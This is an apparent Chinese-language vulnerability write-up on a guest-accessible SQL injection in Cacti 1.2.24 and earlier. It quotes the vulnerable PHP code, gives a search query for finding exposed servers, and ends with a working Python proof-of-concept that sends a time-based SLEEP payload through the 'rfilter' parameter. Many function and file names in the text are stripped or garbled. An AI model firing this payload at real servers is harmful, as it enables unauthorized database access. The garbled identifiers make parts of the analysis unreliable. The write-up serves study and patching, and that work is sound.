云端网 - www.ydw.org
0x01 阅读须知
请遵守法律法规,文章仅供安全防范与学习,严禁非法使用,后果自负。
0x02 漏洞描述
(一) Cacti
Cacti是一个开源的网络图形化监控和数据可视化工具。它被广泛用于监控网络设备、服务器、应用程序和其他网络基础设施的性能和状态。
Cacti提供了一个基于Web的用户界面,使用户能够轻松创建、配置和管理监控图表。它使用(Round Robin )来存储和检索监控数据,并通过图表和图形的形式展示这些数据。用户可以根据需要创建自定义图表,并选择不同的数据源,如SNMP(ent )、WMI( )和Shell脚本等,来收集监控数据。
影响范围
cacti<=1.2.24
网络空间绘测
app="Cacti-监控系统"
(二)漏洞分析
在.php中发现了一个SQL注入漏洞。由于访客用户默认情况下可以访问而无需身份验证,因此如果访客用户处于启用状态,则可能会造成重大损坏。攻击者可能会利用此漏洞进行攻击,并且可能会采取诸如篡夺管理权限或远程代码执行之类的操作。该漏洞存在于从.php文件调用的e函数中。在的情况下,通过ars函数验证用户输入,随后,如果参数大于0,则调用e函数。
.php
switch(get_nfilter_request_var('action')) {
// ...
case'tree_content':
html_validate_tree_vars();
// ...
if($tree_id >0) {
if(!is_tree_allowed($tree_id)) {
header('Location: permission_denied.php');
exit;
}
grow_right_pane_tree($tree_id, $node_id, $hgdata);
}
e函数在带有RLIKE的WHERE子句中直接使用用户输入参数,如下所示。参数在.php的ars函数中进行验证,但此验证仅确保作为正则表达式是正确的,并不保证它不包含SQL代码。
lib/.php
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {
// ...
if (($leaf_type == 'header') || (empty($leaf_id))) {
$sql_where = '';
if (get_request_var('rfilter') != '') {
$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
}
// ...
$graph_list = get_allowed_tree_header_graphs($tree_id, $leaf_id, $sql_where);
}
参数是如何验证的呢,ars函数将过滤器类型设置为EGEX,并调用功能。
lib/.php
function html_validate_tree_vars() {
// ...
/* ================= input validation and session storage ================= */
$filters = array(
// ...
'rfilter' => array(
'filter' => FILTER_VALIDATE_IS_REGEX,
'pageset' => true,
'default' => '',
),
// ...
);
validate_store_request_vars($filters, 'sess_grt');
是一个根据设置的过滤器类型验证用户输入的函数。如果过滤器类型为EGEX,则函数会检查该值是否为有效的正则表达式。函数将用户输入插入,以验证它是否是有效的正则表达式。请注意,单引号用作正则表达式的分隔符。此分隔符是EGEX筛选器针对SQL注入提供的唯一保护。由于分隔符必须在正则表达式中转义,因此很难从WHERE子句中转义并插入SQL语句。
lib/.php
function validate_store_request_vars(array $filters, string $sess_prefix = ''):void {
// ...
if (cacti_sizeof($filters)) {
foreach ($filters as $variable => $options) {
// Establish the session variable first
if ($sess_prefix != '') {
// ...
} else {
if (get_nfilter_request_var($variable) == '0') {
// ...
} elseif ($options['filter'] == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$variable])) {
$_REQUEST[$variable] = base64_decode($_REQUEST[$variable], true);
}
$valid = validate_is_regex($_REQUEST[$variable]);
if ($valid === true) {
$value = $_REQUEST[$variable];
} else {
$value = false;
$custom_error = $valid;
}
// ...
function validate_is_regex($regex) {
// ...
if (@preg_match("'" . $regex . "'", NULL) !== false) {
ini_set('track_errors', $track_errors);
return true;
}
在e函数中,RLIKE引号使用双引号。这意味着用户输入验证根本不起作用。攻击者可以在参数中插入SQL代码,使其形成有效的正则表达式,从而启用SQL注入攻击。
lib/.php
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {
// ...
$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
(三)POC
import argparse
import requests
import sys
import urllib3
#import os
#os.environ['http_proxy'] = 'http://localhost:8080'
sleep_time = 10
payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""
def exploit():
url = f"{target}/graph_view.php"
params = {
"action":"tree_content",
"node":"1-1-tree_anchor",
"rfilter":payload
}
print('[+] Sending payload...')
print(f"[+] Payload: {payload}")
session.get(url,params=params)
if __name__=='__main__':
urllib3.disable_warnings()
parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")
parser.add_argument('-t','--target',help='',required=True)
args = parser.parse_args()
target = args.target
session = requests.Session()
exploit()
0x03 修复方案
官方修复缓解措施
补丁链接
参考链接
from
www.ydw.org - 云端网